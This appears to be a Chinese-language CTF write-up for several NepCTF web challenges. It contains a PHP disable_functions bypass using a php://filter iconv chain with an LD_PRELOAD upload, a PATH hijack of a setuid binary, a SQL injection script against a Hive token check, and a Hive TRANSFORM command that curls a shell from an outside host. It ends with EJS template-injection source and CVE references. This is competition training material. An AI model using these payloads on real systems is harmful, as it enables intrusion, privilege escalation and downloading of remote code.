| fpassthru,fgetss,fgets,fopen,fread,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,readfile,file_get_contents,file_put_contents,fputs,fwrite,delete,rmdir,rename,chgrp,chmod,chown,copy,chdir,mkdir,file,chroot,assert,dl,move_upload_file,sysmlink,readlink,curl_init,curl_exec
|
1
2
3
4
5
| $c = 'glob:///*';
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString()."\n");
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| bin
boot
clean.sh
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
showmsg
src.c
srv
sys
tmp
usr
var
|
但是这个方法只能列出文件,不能读文件。现在需要绕过禁用函数执行命令,常用的mail,error_log 被禁了,但是 putenv 没禁。比赛的时候卡了一会儿,在 phpinfo 里面发现开了 mbstring 拓展,同时 mb_send_mail 没有被禁
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| import requests
url = 'http://nepctf.1cepeak.cn:31392/jump.php?link=php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/tmp/resources/2'
php = """
$so = $_FILES['file']['tmp_name'];
echo $so;
$cmd = '/showmsg > /tmp/x';
putenv("EVIL_CMDLINE=" . $cmd);
putenv("LD_PRELOAD=" . $so);
mb_send_mail("", "", "", "");
"""
data = {
'0': php
}
files = {
'file': open('bypass_disablefunc_x64.so', 'rb')
}
r = requests.post(url, files=files, data=data)
print(r.text)
|
flag 没权限读,看了眼根目录,应该是打 showmsg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| total 100
drwxr-xr-x 1 root root 4096 Aug 13 06:56 .
drwxr-xr-x 1 root root 4096 Aug 13 06:56 ..
drwxr-xr-x 1 root root 4096 Jul 31 09:56 bin
drwxr-xr-x 2 root root 4096 Oct 20 2018 boot
-rwx------ 1 root root 37 Jul 30 07:31 clean.sh
drwxr-xr-x 5 root root 360 Aug 13 06:56 dev
drwxr-xr-x 1 root root 4096 Aug 13 06:56 etc
-rwx------ 1 root root 45 Aug 13 06:56 flag
drwxr-xr-x 2 root root 4096 Oct 20 2018 home
drwxr-xr-x 1 root root 4096 Jan 22 2019 lib
drwxr-xr-x 2 root root 4096 Jan 22 2019 lib64
drwxr-xr-x 2 root root 4096 Jan 22 2019 media
drwxr-xr-x 2 root root 4096 Jan 22 2019 mnt
drwxr-xr-x 2 root root 4096 Jan 22 2019 opt
dr-xr-xr-x 1752 root root 0 Aug 13 06:56 proc
drwx------ 1 root root 4096 Jul 31 09:56 root
drwxr-xr-x 1 root root 4096 Aug 13 06:56 run
drwxr-xr-x 1 root root 4096 Jan 22 2019 sbin
-rwsr-sr-x 1 root root 8872 Jul 29 07:50 showmsg
-rw-rw-r-- 1 root root 375 Jul 29 07:49 src.c
drwxr-xr-x 2 root root 4096 Jan 22 2019 srv
dr-xr-xr-x 13 root root 0 Aug 13 06:56 sys
drwxrwxrwt 1 root root 4096 Aug 13 07:43 tmp
drwxr-xr-x 1 root root 4096 Jul 31 09:56 usr
drwxr-xr-x 1 root root 4096 Jan 22 2019 var
|
src.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| #include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
printf("Thank you! This is the final step. --From lx56\n");
return system("cat /tmp/resources/4.txt");
}
|
system 里面的 cat 是相对路径,我们可以设置 PATH=/tmp,然后创建 /tmp/cat
1
2
| #!/bin/sh
/bin/cat /flag
|
1
2
3
4
5
| www-data@push-e621f781f1954b12:/tmp$ PATH=/tmp /showmsg
PATH=/tmp /showmsg
NepCTF{62ba146f-4c4c-4854-8dfb-71ef70fa0b5e}
Thank you! This is the final step. --From lx56
www-data@push-e621f781f1954b12:/tmp$
|
打完之后感觉也不是预期解,hint.ini 没用上
这个题是黑盒的,上去把题目环境打包了
hive it
搜索 hive 现有漏洞,发现 CVE-2018-1282 符合题目利用条件。没有现成的 exp , 看看 commit history 这个包是怎么修复的
注入读 token ,名字猜了两个半小时(,最后发现 real_token 被过滤了,大小写绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
| import requests
url = 'http://106.75.63.100:8080/tokenCheck'
data = {
'name': "true_token\\' union select token from reaL_token--",
'sinkType': '2'
}
r = requests.post(url, json=data)
print(r.status_code)
print(r.text) # hit_si11y_Drunkbaby
|
拿到 token 就可以执行任意查询语句了,hive 可以使用 transform 配合 using 执行命令
1
| select transform(token) USING 'curl http://xxx.xxx.xxx.xxx:8000/shell -o /tmp/shell' from fake_token
|
NepCTF{h4ck_f0r_fun_Em4non}
Post Crad For You
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| var path = require('path');
const fs = require('fs');
const crypto = require("crypto");
const express = require('express')
const app = express()
const port = 3000
templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);
function sleep(milliSeconds){
var StartTime =new Date().getTime();
let i = 0;
while (new Date().getTime() <StartTime+milliSeconds);
}
app.get('/', function(req, res) {
return res.sendFile('./index.html', {root: __dirname});
});
app.get('/create', function(req, res) {
let uuid;
let name = req.query.name ?? '';
let address = req.query.address ?? '';
let message = req.query.message ?? '';
do {
uuid = crypto.randomUUID();
} while (fs.existsSync(`${templateDir}/${uuid}.ejs`))
try {
if (name != '' && address != '' && message != '') {
let source = ["source", "source1", "source2", "source3"].sort(function(){
return 0.5 - Math.random();
})
fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
sleep(2000);
})
} else {
res.status(500).send("Params `name` or `address` or `message` empty");
return;
}
} catch(err) {
res.status(500).send("Failed to write file");
return;
}
return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});
app.get('/page', (req,res) => {
let id = req.query.pageid
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
res.status(404).send("Sorry, no such id")
return;
}
res.render(`${templateDir}/${id}.ejs`, req.query);
})
app.listen(port, () => {
console.log(`App listening on port ${port}`)
})
|
CVE-2022-29078
https://blog.huli.tw/2023/06/22/ejs-render-vulnerability-ctf/
https://eslam.io/posts/ejs-server-side-template-injection-rce/